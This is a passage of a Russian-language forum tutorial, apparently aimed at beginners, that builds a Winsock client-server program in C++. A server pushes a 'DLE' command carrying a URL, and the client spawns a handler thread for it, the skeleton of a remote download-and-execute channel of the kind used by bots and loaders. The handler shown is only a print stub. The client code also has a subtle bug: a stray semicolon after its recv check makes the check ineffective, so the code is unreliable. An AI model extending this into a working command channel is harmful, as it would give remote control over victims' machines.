indata.CMD = 1; //присвоим номер команды для загрузки файла
memcpy(indata.DATA, dlecmd.URL, sizeof(dlecmd.URL)); //скопируем DLE в indata.DATA
send(SOCKETS[NOMER].SOCKET, (char*)&indata, sizeof(CMDiDATA), 0); //отпарвляем протокольную структуру на клиент по номеру NOMER в массиве SOCKETS
}
}
}
}
В клиенте же мы можем создать тред приема сообщений:
C++:
DWORD WINAPI RecvThread(LPVOID param)
{
while (TRUE)
{
CMDiDATA indata; //создаем структуру отвечающую за протокол
memset(&indata, 0, sizeof(CMDiDATA)); //почистим
if (sizeof(CMDiDATA) == recv(Socket, (char*)&indata, sizeof(CMDiDATA), 0)); //прием сообщения от клиента
{
printf("cmd recv cmd: %d\n", indata.CMD);
switch (indata.CMD)
{
case 1://если indata.cmd == 1
{
DLE dle; //инициализируем структуру DLE
memset(&dle, 0, sizeof(dle)); //очищаем ее
memcpy(&dle, indata.DATA, sizeof(indata.DATA)); //и копируем в нее indata.DATA
printf("url: %s\n", dle.URL); //напечатаем пришедший урл
CreateThread(NULL, 0, DLEFUNC, (LPVOID)dle.URL, 0, 0);
break;
}
default:
break;
}
}
}
}
И заставить программу ожидать пока этот тред не завершится:
Код:
HANDLE RECV = CreateThread(NULL, 0, RecvThread, NULL, 0, 0); //создаем тред который будет бесконечно принимать сообщения от сервера
WaitForSingleObject(RECV, INFINITE); //Бесконечно ожидаем пока этот тред работает...
А так же для того что бы обрабатывать отдельно каждую команду ведь она может выполняться бесконечно из за любых ошибок и в коде, и в командах, то мы можем создать отдельный тред в RecvThread:
C++:
CreateThread(NULL, 0, DLEFUNC, (LPVOID)dle.URL, 0, 0);
Который будет выполнять Хеллоу Ворд функцию, из чисто визуальных соображений:
C++:
DWORD WINAPI DLEFUNC(LPVOID url)
{
char *urlarrdfile = (char*)url;
printf("na4inau ska4ivanie faula: %s\n", urlarrdfile);
return 0;
}
Думаю на этом можно закончить эту статью или лучше оформить как первую часть(? вообщем зависит от ваших комментариев), ведь писать можно бесконечно долго, но я считаю, что для новичков я объяснил хотя бы базовые основы Winsock, рассказал базу потоков, и создал нормальную основу клиент серверного приложения, функционал в который можно добавлять бесконечно по вашему усмотрению. Все файлы будут лежать на гитхабе, а видео с конечными испытаниями того что получилось тут. А гитхаб тут.
Будьте классными
Вложения
Последнее редактирование: